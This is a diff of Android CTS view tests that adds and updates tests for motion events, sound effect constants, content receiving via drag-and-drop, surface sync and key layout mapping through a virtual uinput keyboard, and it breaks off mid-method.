@@ -685,14 +691,11 @@
             assertEquals(Math.sin(angle) * RADIUS, c.x, RAW_COORD_TOLERANCE);
             assertEquals(-Math.cos(angle) * RADIUS, c.y, RAW_COORD_TOLERANCE);
             assertEquals(Math.tan(angle), Math.tan(c.orientation), 0.1);
+
+            // Applying the transformation should preserve the raw X and Y of all pointers.
+            assertEquals(originalRawCoords[i].x, event.getRawX(i), RAW_COORD_TOLERANCE);
+            assertEquals(originalRawCoords[i].y, event.getRawY(i), RAW_COORD_TOLERANCE);
         }
-
-        // Applying the transformation should preserve the raw X and Y of the first pointer.
-        assertEquals(originalRawCoords[0].x, event.getRawX(), RAW_COORD_TOLERANCE);
-        assertEquals(originalRawCoords[0].y, event.getRawY(), RAW_COORD_TOLERANCE);
-
-        // TODO(b/124116082) Verify whether transformations on MotionEvents should preserve raw X
-        // and Y for all pointers.
     }
 
     private void dump(String label, MotionEvent ev) {
@@ -980,4 +983,11 @@
         assertEquals(MotionEvent.CLASSIFICATION_NONE, mMotionEvent1.getClassification());
         assertEquals(MotionEvent.CLASSIFICATION_NONE, mMotionEvent2.getClassification());
     }
+
+    @Test
+    public void testNativeConverter() {
+        final MotionEvent event = MotionEvent.obtain(mDownTime, mEventTime,
+                MotionEvent.ACTION_MOVE, X_3F, Y_4F, META_STATE);
+        nativeMotionEventTest(event);
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index 99e4da8..fd3d174 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -42,7 +42,7 @@
 import android.view.View;
 import android.view.Window;
 import android.view.WindowManager;
-import android.view.cts.util.DisableFixToUserRotationRule;
+import android.view.cts.util.DisableFixedToUserRotationRule;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.LargeTest;
@@ -71,8 +71,8 @@
     private static final String TAG = "PixelCopyTests";
 
     @Rule
-    public DisableFixToUserRotationRule mDisableFixToUserRotationRule =
-            new DisableFixToUserRotationRule();
+    public DisableFixedToUserRotationRule mDisableFixedToUserRotationRule =
+            new DisableFixedToUserRotationRule();
 
     @Rule
     public ActivityTestRule<PixelCopyGLProducerCtsActivity> mGLSurfaceViewActivityRule =
diff --git a/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java b/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java
index d8c2e8e..d281ace 100644
--- a/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java
+++ b/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java
@@ -53,4 +53,49 @@
     public void testGetContantForFocusDirectionInvalid() {
         SoundEffectConstants.getContantForFocusDirection(-1);
     }
+
+    @Test
+    public void testGetConstantForFocusDirection() {
+        assertEquals(SoundEffectConstants.NAVIGATION_REPEAT_RIGHT,
+                SoundEffectConstants.getConstantForFocusDirection(View.FOCUS_RIGHT,
+                        true /* repeating */));
+        assertEquals(SoundEffectConstants.NAVIGATION_REPEAT_DOWN,
+                SoundEffectConstants.getConstantForFocusDirection(View.FOCUS_DOWN,
+                        true /* repeating */));
+        assertEquals(SoundEffectConstants.NAVIGATION_REPEAT_LEFT,
+                SoundEffectConstants.getConstantForFocusDirection(View.FOCUS_LEFT,
+                        true /* repeating */));
+        assertEquals(SoundEffectConstants.NAVIGATION_REPEAT_UP,
+                SoundEffectConstants.getConstantForFocusDirection(View.FOCUS_UP,
+                        true /* repeating */));
+        assertEquals(SoundEffectConstants.NAVIGATION_REPEAT_DOWN,
+                SoundEffectConstants.getConstantForFocusDirection(View.FOCUS_FORWARD,
+                        true /* repeating */));
+        assertEquals(SoundEffectConstants.NAVIGATION_REPEAT_UP,
+                SoundEffectConstants.getConstantForFocusDirection(View.FOCUS_BACKWARD,
+                        true /* repeating */));
+        assertEquals(SoundEffectConstants.NAVIGATION_RIGHT,
+                SoundEffectConstants.getConstantForFocusDirection(View.FOCUS_RIGHT,
+                        false /* repeating */));
+        assertEquals(SoundEffectConstants.NAVIGATION_DOWN,
+                SoundEffectConstants.getConstantForFocusDirection(View.FOCUS_DOWN,
+                        false /* repeating */));
+        assertEquals(SoundEffectConstants.NAVIGATION_LEFT,
+                SoundEffectConstants.getConstantForFocusDirection(View.FOCUS_LEFT,
+                        false /* repeating */));
+        assertEquals(SoundEffectConstants.NAVIGATION_UP,
+                SoundEffectConstants.getConstantForFocusDirection(View.FOCUS_UP,
+                        false /* repeating */));
+        assertEquals(SoundEffectConstants.NAVIGATION_DOWN,
+                SoundEffectConstants.getConstantForFocusDirection(View.FOCUS_FORWARD,
+                        false /* repeating */));
+        assertEquals(SoundEffectConstants.NAVIGATION_UP,
+                SoundEffectConstants.getConstantForFocusDirection(View.FOCUS_BACKWARD,
+                        false /* repeating */));
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testGetConstantForFocusDirectionInvalid() {
+        SoundEffectConstants.getConstantForFocusDirection(-1, true);
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
index 830ffc9..cbe94ed 100644
--- a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
@@ -46,6 +46,7 @@
         ViewConfiguration.getFadingEdgeLength();
         ViewConfiguration.getPressedStateDuration();
         ViewConfiguration.getLongPressTimeout();
+        assertTrue(ViewConfiguration.getMultiPressTimeout() > 0);
         ViewConfiguration.getTapTimeout();
         ViewConfiguration.getJumpTapTimeout();
         ViewConfiguration.getEdgeSlop();
diff --git a/tests/tests/view/src/android/view/cts/ViewReceiveContentTest.java b/tests/tests/view/src/android/view/cts/ViewReceiveContentTest.java
new file mode 100644
index 0000000..44c01fa
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/ViewReceiveContentTest.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static android.view.ContentInfo.SOURCE_CLIPBOARD;
+import static android.view.ContentInfo.SOURCE_DRAG_AND_DROP;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.argThat;
+import static org.mockito.ArgumentMatchers.same;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.net.Uri;
+import android.view.ContentInfo;
+import android.view.DragEvent;
+import android.view.OnReceiveContentListener;
+import android.view.View;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentMatcher;
+import org.mockito.stubbing.Answer;
+
+import java.util.Objects;
+
+/**
+ * Tests for {@link View#performReceiveContent} and related code.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ViewReceiveContentTest {
+    @Rule
+    public ActivityTestRule<ViewTestCtsActivity> mActivityRule = new ActivityTestRule<>(
+            ViewTestCtsActivity.class);
+
+    private ViewTestCtsActivity mActivity;
+    private OnReceiveContentListener mReceiver;
+
+    @Before
+    public void before() {
+        mActivity = mActivityRule.getActivity();
+        mReceiver = mock(OnReceiveContentListener.class);
+    }
+
+    @Test
+    public void testOnReceiveContent_mimeTypes() {
+        View view = new View(mActivity);
+
+        // MIME types are null by default
+        assertThat(view.getReceiveContentMimeTypes()).isNull();
+
+        // Setting MIME types with a non-null callback works
+        String[] mimeTypes = new String[] {"image/*", "video/mp4"};
+        view.setOnReceiveContentListener(mimeTypes, mReceiver);
+        assertThat(view.getReceiveContentMimeTypes()).isEqualTo(mimeTypes);
+
+        // Setting null MIME types and null callback works
+        view.setOnReceiveContentListener(null, null);
+        assertThat(view.getReceiveContentMimeTypes()).isNull();
+
+        // Setting empty MIME types and null callback works
+        view.setOnReceiveContentListener(new String[0], null);
+        assertThat(view.getReceiveContentMimeTypes()).isNull();
+
+        // Setting MIME types with a null callback works
+        view.setOnReceiveContentListener(mimeTypes, null);
+        assertThat(view.getReceiveContentMimeTypes()).isEqualTo(mimeTypes);
+
+        // Setting null or empty MIME types with a non-null callback is not allowed
+        try {
+            view.setOnReceiveContentListener(null, mReceiver);
+            fail("Expected IllegalArgumentException");
+        } catch (IllegalArgumentException expected) { }
+        try {
+            view.setOnReceiveContentListener(new String[0], mReceiver);
+            fail("Expected IllegalArgumentException");
+        } catch (IllegalArgumentException expected) { }
+
+        // Passing "*/*" as a MIME type is not allowed
+        try {
+            view.setOnReceiveContentListener(new String[] {"image/gif", "*/*"}, mReceiver);
+            fail("Expected IllegalArgumentException");
+        } catch (IllegalArgumentException expected) { }
+    }
+
+    @Test
+    public void testPerformReceiveContent() {
+        View view = new View(mActivity);
+        String[] mimeTypes = new String[] {"image/*", "video/mp4"};
+        ContentInfo samplePayloadGif = sampleUriPayload(SOURCE_CLIPBOARD, "image/gif");
+        ContentInfo samplePayloadPdf = sampleUriPayload(SOURCE_CLIPBOARD, "application/pdf");
+
+        // Calling performReceiveContent() returns the payload if there's no listener (default)
+        assertThat(view.performReceiveContent(samplePayloadGif)).isEqualTo(samplePayloadGif);
+
+        // Calling performReceiveContent() calls the configured listener
+        view.setOnReceiveContentListener(mimeTypes, mReceiver);
+        when(mReceiver.onReceiveContent(any(), any())).thenReturn(null);
+        assertThat(view.performReceiveContent(samplePayloadGif)).isNull();
+
+        // Calling performReceiveContent() calls the configured listener even if the MIME type of
+        // the content is not in the set of supported MIME types
+        assertThat(view.performReceiveContent(samplePayloadPdf)).isNull();
+
+        // Clearing the listener restores default behavior
+        view.setOnReceiveContentListener(null, null);
+        assertThat(view.performReceiveContent(samplePayloadGif)).isEqualTo(samplePayloadGif);
+    }
+
+    @Test
+    public void testOnReceiveContent() {
+        View view = new View(mActivity);
+        String[] mimeTypes = new String[] {"image/*", "video/mp4"};
+        ContentInfo samplePayloadGif = sampleUriPayload(SOURCE_CLIPBOARD, "image/gif");
+
+        // Calling onReceiveContent() returns the payload if there's no listener
+        assertThat(view.performReceiveContent(samplePayloadGif)).isEqualTo(samplePayloadGif);
+
+        // Calling onReceiveContent() returns the payload even if there is a listener
+        view.setOnReceiveContentListener(mimeTypes, mReceiver);
+        when(mReceiver.onReceiveContent(any(), any())).thenReturn(null);
+        assertThat(view.onReceiveContent(samplePayloadGif)).isEqualTo(samplePayloadGif);
+    }
+
+    @Test
+    public void testOnDragEvent_noOnReceiveContentListener() {
+        View view = new View(mActivity);
+
+        DragEvent dragEvent = mock(DragEvent.class);
+        when(dragEvent.getAction()).thenReturn(DragEvent.ACTION_DRAG_STARTED);
+        assertThat(view.onDragEvent(dragEvent)).isFalse();
+
+        when(dragEvent.getAction()).thenReturn(DragEvent.ACTION_DROP);
+        assertThat(view.onDragEvent(dragEvent)).isFalse();
+    }
+
+    @Test
+    public void testOnDragEvent_withOnReceiveContentListener() {
+        View view = new View(mActivity);
+        String[] mimeTypes = new String[] {"text/*", "image/*", "video/mp4"};
+        view.setOnReceiveContentListener(mimeTypes, mReceiver);
+        when(mReceiver.onReceiveContent(any(), any())).thenReturn(null);
+
+        // For an ACTION_DRAG_STARTED, we expect true to be returned (no class to the listener yet).
+        DragEvent dragEvent = mock(DragEvent.class);
+        when(dragEvent.getAction()).thenReturn(DragEvent.ACTION_DRAG_STARTED);
+        assertThat(view.onDragEvent(dragEvent)).isTrue();
+
+        // For an ACTION_DROP, we expect the listener to be invoked with the content from the drag
+        // event.
+        when(dragEvent.getAction()).thenReturn(DragEvent.ACTION_DROP);
+        ClipData clip = new ClipData(
+                new ClipDescription("test", new String[] {"image/jpeg"}),
+                new ClipData.Item(Uri.parse("content://example/1")));
+        when(dragEvent.getClipData()).thenReturn(clip);
+        assertThat(view.onDragEvent(dragEvent)).isTrue();
+        verify(mReceiver).onReceiveContent(same(view), contentEq(clip, SOURCE_DRAG_AND_DROP, 0));
+    }
+
+    @Test
+    public void testOnDragEvent_withOnReceiveContentListener_noneOfTheContentAccepted() {
+        View view = new View(mActivity);
+        String[] mimeTypes = new String[] {"text/*", "image/*"};
+        view.setOnReceiveContentListener(mimeTypes, mReceiver);
+        when(mReceiver.onReceiveContent(same(view), any(ContentInfo.class))).thenAnswer(
+                (Answer<ContentInfo>) invocation -> invocation.getArgument(1));
+
+        // When the return value from OnReceiveContentListener.onReceiveContent is the same
+        // payload instance that was passed into it, View.onDragEvent should return false.
+        DragEvent dragEvent = mock(DragEvent.class);
+        when(dragEvent.getAction()).thenReturn(DragEvent.ACTION_DROP);
+        ClipData clip = new ClipData(
+                new ClipDescription("test", new String[] {"video/mp4"}),
+                new ClipData.Item(Uri.parse("content://example/1")));
+        when(dragEvent.getClipData()).thenReturn(clip);
+        assertThat(view.onDragEvent(dragEvent)).isFalse();
+        verify(mReceiver).onReceiveContent(same(view), contentEq(clip, SOURCE_DRAG_AND_DROP, 0));
+    }
+
+    @Test
+    public void testOnDragEvent_withOnReceiveContentListener_someOfTheContentAccepted() {
+        View view = new View(mActivity);
+        String[] mimeTypes = new String[] {"text/*", "image/*"};
+        view.setOnReceiveContentListener(mimeTypes, mReceiver);
+        when(mReceiver.onReceiveContent(same(view), any(ContentInfo.class))).thenReturn(
+                sampleUriPayload(SOURCE_DRAG_AND_DROP, "video/mp4"));
+
+        // When the return value from OnReceiveContentListener.onReceiveContent is not the same
+        // payload instance that was passed into it, View.onDragEvent should return true.
+        DragEvent dragEvent = mock(DragEvent.class);
+        when(dragEvent.getAction()).thenReturn(DragEvent.ACTION_DROP);
+        ClipData clip = new ClipData(
+                new ClipDescription("test", new String[] {"video/mp4"}),
+                new ClipData.Item(Uri.parse("content://example/1")));
+        when(dragEvent.getClipData()).thenReturn(clip);
+        assertThat(view.onDragEvent(dragEvent)).isTrue();
+        verify(mReceiver).onReceiveContent(same(view), contentEq(clip, SOURCE_DRAG_AND_DROP, 0));
+    }
+
+    private static ContentInfo sampleUriPayload(int source, String ... mimeTypes) {
+        ClipData clip = new ClipData(
+                new ClipDescription("test", mimeTypes),
+                new ClipData.Item(Uri.parse("content://example/1")));
+        return new ContentInfo.Builder(clip, source).build();
+    }
+
+    private static ContentInfo contentEq(ClipData clip, int source, int flags) {
+        return argThat(new ContentInfoArgumentMatcher(clip, source, flags));
+    }
+
+    private static class ContentInfoArgumentMatcher implements ArgumentMatcher<ContentInfo> {
+        private final ClipData mClip;
+        private final int mSource;
+        private final int mFlags;
+
+        private ContentInfoArgumentMatcher(ClipData clip, int source, int flags) {
+            mClip = clip;
+            mSource = source;
+            mFlags = flags;
+        }
+
+        @Override
+        public boolean matches(ContentInfo actual) {
+            ClipData.Item expectedItem = mClip.getItemAt(0);
+            ClipData.Item actualItem = actual.getClip().getItemAt(0);
+            return Objects.equals(expectedItem.getText(), actualItem.getText())
+                    && Objects.equals(expectedItem.getUri(), actualItem.getUri())
+                    && mSource == actual.getSource()
+                    && mFlags == actual.getFlags()
+                    && actual.getExtras() == null;
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/ViewRootSyncTest.java b/tests/tests/view/src/android/view/cts/ViewRootSyncTest.java
new file mode 100644
index 0000000..3cd9c32
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/ViewRootSyncTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.cts;
+
+import static android.server.wm.WindowManagerState.getLogicalDisplaySize;
+
+import android.animation.ObjectAnimator;
+import android.animation.PropertyValuesHolder;
+import android.animation.ValueAnimator;
+import android.annotation.SuppressLint;
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.PorterDuff;
+import android.graphics.Rect;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.view.Gravity;
+import android.view.SurfaceControl;
+import android.view.SurfaceView;
+import android.view.Surface;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.ViewTreeObserver;
+import android.view.animation.LinearInterpolator;
+import android.view.cts.surfacevalidator.AnimationFactory;
+import android.view.cts.surfacevalidator.AnimationTestCase;
+import android.view.cts.surfacevalidator.CapturedActivityWithResource;
+import android.view.cts.surfacevalidator.PixelChecker;
+import android.view.cts.surfacevalidator.ViewFactory;
+import android.widget.FrameLayout;
+
+import android.util.Log;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.RequiresDevice;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@LargeTest
+@SuppressLint("RtlHardcoded")
+@RequiresDevice
+public class ViewRootSyncTest {
+    private static final String TAG = "ViewRootSyncTests";
+
+    @Rule
+    public ActivityTestRule<CapturedActivityWithResource> mActivityRule =
+            new ActivityTestRule<>(CapturedActivityWithResource.class);
+
+    @Rule
+    public TestName mName = new TestName();
+
+    private CapturedActivityWithResource mActivity;
+
+      private static ValueAnimator makeInfinite(ValueAnimator a) {
+        a.setRepeatMode(ObjectAnimator.REVERSE);
+        a.setRepeatCount(ObjectAnimator.INFINITE);
+        a.setDuration(200);
+        a.setInterpolator(new LinearInterpolator());
+        return a;
+    }
+
+    class GreenSurfaceAnchorView extends View {
+        SurfaceControl mSurfaceControl;
+        final Surface mSurface;
+        final int[] mLocation = new int[2];
+
+        private final ViewTreeObserver.OnPreDrawListener mDrawListener = () -> {
+            SurfaceControl.Transaction t = new SurfaceControl.Transaction();
+            getLocationInWindow(mLocation);
+            t.setGeometry(mSurfaceControl, null, new Rect(mLocation[0], mLocation[1],
+                    mLocation[0]+100,
+                    mLocation[1]+100), 0);
+            getViewRoot().applyTransactionOnDraw(t);
+            return true;
+        };
+
+        GreenSurfaceAnchorView(Context c) {
+            super(c, null, 0, 0);
+            mSurfaceControl = new SurfaceControl.Builder()
+                              .setName("SurfaceAnchorView")
+                              .setBufferSize(100, 100)
+                              .build();
+            mSurface = new Surface(mSurfaceControl);
+            Canvas canvas = mSurface.lockHardwareCanvas();
+            canvas.drawColor(Color.GREEN);
+            mSurface.unlockCanvasAndPost(canvas);
+        }
+
+        @Override
+        protected void onAttachedToWindow() {
+            super.onAttachedToWindow();
+            SurfaceControl.Transaction t = getViewRoot().buildReparentTransaction(mSurfaceControl);
+            t.setLayer(mSurfaceControl, -1)
+                .setVisibility(mSurfaceControl, true)
+                .apply();
+
+            ViewTreeObserver observer = getViewTreeObserver();
+            observer.addOnPreDrawListener(mDrawListener);
+        }
+
+        @Override
+        protected void onDetachedFromWindow() {
+            ViewTreeObserver observer = getViewTreeObserver();
+            observer.removeOnPreDrawListener(mDrawListener);
+
+            new SurfaceControl.Transaction().reparent(mSurfaceControl, null).apply();
+            mSurfaceControl.release();
+            mSurface.release();
+
+            super.onDetachedFromWindow();
+        }
+
+        @Override
+        public void onDraw(Canvas canvas) {
+            canvas.drawColor(0, PorterDuff.Mode.CLEAR);
+        }
+    }
+
+    private ViewFactory sGreenSurfaceControlAnchorFactory = context -> {
+        return new GreenSurfaceAnchorView(context);
+    };
+
+    private AnimationFactory sTranslateAnimationFactory = view -> {
+        PropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(View.TRANSLATION_X, 10f, 30f);
+        PropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, 10f, 30f);
+        return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view, pvhX, pvhY));
+    };
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mActivity.setLogicalDisplaySize(getLogicalDisplaySize());
+    }
+
+    /**
+     * Want to be especially sure we don't leave up the permission dialog, so try and dismiss
+     * after test.
+     */
+    @After
+    public void tearDown() throws UiObjectNotFoundException {
+        mActivity.dismissPermissionDialog();
+    }
+
+    /** Draws a moving 10x10 green rectangle with hole punch, make sure we don't get any sync errors */
+    @Test
+    public void testSync() throws Throwable {
+        mActivity.verifyTest(new AnimationTestCase(
+                sGreenSurfaceControlAnchorFactory,
+                new FrameLayout.LayoutParams(100, 100, Gravity.LEFT | Gravity.TOP),
+                sTranslateAnimationFactory,
+                new PixelChecker() {
+                    @Override
+                    public boolean checkPixels(int blackishPixelCount, int width, int height) {
+                        return blackishPixelCount == 0;
+                    }
+                }), mName);
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 3f9f563..9dd4928 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -5079,6 +5079,30 @@
         assertFalse(view.isShowingLayoutBounds());
     }
 
+    @Test
+    public void testClipToOutline() {
+        View clipToOutlineUnsetView = mActivity.findViewById(R.id.clip_to_outline_unset);
+        assertFalse(clipToOutlineUnsetView.getClipToOutline());
+        clipToOutlineUnsetView.setClipToOutline(true);
+        assertTrue(clipToOutlineUnsetView.getClipToOutline());
+        clipToOutlineUnsetView.setClipToOutline(false);
+        assertFalse(clipToOutlineUnsetView.getClipToOutline());
+
+        View clipToOutlineFalseView = mActivity.findViewById(R.id.clip_to_outline_false);
+        assertFalse(clipToOutlineFalseView.getClipToOutline());
+        clipToOutlineFalseView.setClipToOutline(true);
+        assertTrue(clipToOutlineFalseView.getClipToOutline());
+        clipToOutlineFalseView.setClipToOutline(false);
+        assertFalse(clipToOutlineFalseView.getClipToOutline());
+
+        View clipToOutlineTrueView = mActivity.findViewById(R.id.clip_to_outline_true);
+        assertTrue(clipToOutlineTrueView.getClipToOutline());
+        clipToOutlineTrueView.setClipToOutline(false);
+        assertFalse(clipToOutlineTrueView.getClipToOutline());
+        clipToOutlineTrueView.setClipToOutline(true);
+        assertTrue(clipToOutlineTrueView.getClipToOutline());
+    }
+
     private static class MockDrawable extends Drawable {
         private boolean mCalledSetTint = false;
 
diff --git a/tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceEnabledTest.java
similarity index 100%
rename from tests/tests/view/src/android/view/cts/InputDeviceEnabledTest.java
rename to tests/tests/view/src/android/view/cts/input/InputDeviceEnabledTest.java
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceKeyLayoutMapTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceKeyLayoutMapTest.java
new file mode 100644
index 0000000..ff99963
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceKeyLayoutMapTest.java
@@ -0,0 +1,358 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.app.Instrumentation;
+import android.view.InputDevice;
+import android.view.KeyEvent;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.cts.input.InputJsonParser;
+import com.android.cts.input.UinputDevice;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * CTS test case for generic.kl key layout mapping.
+ * This test utilize uinput command line tool to create a test device, and configure the virtual
+ * device to have all keys need to be tested. The JSON format input for device configuration
+ * and EV_KEY injection will be created directly from this test for uinput command.
+ * Keep res/raw/Generic.kl in sync with framework/base/data/keyboards/Generic.kl, this file
+ * will be loaded and parsed in this test, looping through all key labels and the corresponding
+ * EV_KEY code, injecting the KEY_UP and KEY_DOWN event to uinput, then verify the KeyEvent
+ * delivered to test application view. Except meta control keys and special keys not delivered
+ * to apps, all key codes in generic.kl will be verified.
+ *
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceKeyLayoutMapTest {
+    private static final String TAG = "InputDeviceKeyLayoutMapTest";
+    private static final String LABEL_PREFIX = "KEYCODE_";
+    private static final int DEVICE_ID = 1;
+    private static final int EV_SYN = 0;
+    private static final int EV_KEY = 1;
+    private static final int EV_KEY_DOWN = 1;
+    private static final int EV_KEY_UP = 0;
+    private static final int UI_SET_EVBIT = 100;
+    private static final int UI_SET_KEYBIT = 101;
+    private static final int GOOGLE_VENDOR_ID = 0x18d1;
+    private static final int GOOGLE_VIRTUAL_KEYBOARD_ID = 0x001f;
+    private static final int POLL_EVENT_TIMEOUT_SECONDS = 1;
+    private static final int RETRY_COUNT = 10;
+
+    private Map<String, Integer> mKeyLayout;
+    private Instrumentation mInstrumentation;
+    private UinputDevice mUinputDevice;
+    private int mMetaState;
+    private InputJsonParser mParser;
+
+    private static native Map<String, Integer> nativeLoadKeyLayout(String genericKeyLayout);
+
+    static {
+        System.loadLibrary("ctsview_jni");
+    }
+
+    @Rule
+    public ActivityTestRule<InputDeviceKeyLayoutMapTestActivity> mActivityRule =
+            new ActivityTestRule<>(InputDeviceKeyLayoutMapTestActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        PollingCheck.waitFor(mActivityRule.getActivity()::hasWindowFocus);
+        mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        mKeyLayout = nativeLoadKeyLayout(mParser.readRegisterCommand(R.raw.Generic));
+        mUinputDevice = new UinputDevice(mInstrumentation, DEVICE_ID, GOOGLE_VENDOR_ID,
+                GOOGLE_VIRTUAL_KEYBOARD_ID, InputDevice.SOURCE_KEYBOARD,
+                createDeviceRegisterCommand());
+
+        mMetaState = KeyEvent.META_NUM_LOCK_ON;
+    }
+
+    @After
+    public void tearDown() {
+        if (mUinputDevice != null) {
+            mUinputDevice.close();
+        }
+    }
+
+    /**
+     * Get a KeyEvent from event queue or timeout.
+     * The test activity instance may change in the middle, calling getKeyEvent with the old
+     * activity instance will get timed out when test activity instance changed. Rather than
+     * doing a long wait for timeout with same activity instance, break the polling into a number
+     * of retries and each time of retry call the ActivityTestRule.getActivity for current activity
+     * instance to avoid the test failure because of polling the old activity instance get timed
+     * out consequently failed the test.
+     *
+     * @param retryCount The times to retry get KeyEvent from test activity.
+     *
+     * @return KeyEvent delivered to test activity, null if timeout.
+     */
+    private KeyEvent getKeyEvent(int retryCount) {
+        for (int i = 0; i < retryCount; i++) {
+            KeyEvent event = mActivityRule.getActivity().getKeyEvent(POLL_EVENT_TIMEOUT_SECONDS);
+            if (event != null) {
+                return event;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Asserts that the application received a {@link android.view.KeyEvent} with the given
+     * metadata.
+     *
+     * If other KeyEvents are received by the application prior to the expected KeyEvent, or no
+     * KeyEvents are received within a reasonable amount of time, then this will throw an
+     * {@link AssertionError}.
+     *
+     * Only action, source, keyCode and metaState are being compared.
+     */
+    private void assertReceivedKeyEvent(@NonNull KeyEvent expectedKeyEvent) {
+        if (expectedKeyEvent.getKeyCode() == KeyEvent.KEYCODE_UNKNOWN) {
+            return;
+        }
+
+        KeyEvent receivedKeyEvent = getKeyEvent(RETRY_COUNT);
+        String log = "Expected " + expectedKeyEvent + " Received " + receivedKeyEvent;
+        assertNotNull(log, receivedKeyEvent);
+        assertEquals(log, expectedKeyEvent.getAction(), receivedKeyEvent.getAction());
+        assertEquals(log, expectedKeyEvent.getSource(), receivedKeyEvent.getSource());
+        assertEquals(log, expectedKeyEvent.getKeyCode(), receivedKeyEvent.getKeyCode());
+        assertEquals(log, expectedKeyEvent.getMetaState(), receivedKeyEvent.getMetaState());
+    }
+
+    /**
+     * Create the uinput device registration command, in JSON format of uinput commandline tool.
+     * Refer to {@link framework/base/cmds/uinput/README.md}
+     */
+    private String createDeviceRegisterCommand() {
+        JSONObject json = new JSONObject();
+        JSONArray arrayConfigs =  new JSONArray();
+        try {
+            json.put("id", DEVICE_ID);
+            json.put("type", "uinput");
+            json.put("command", "register");
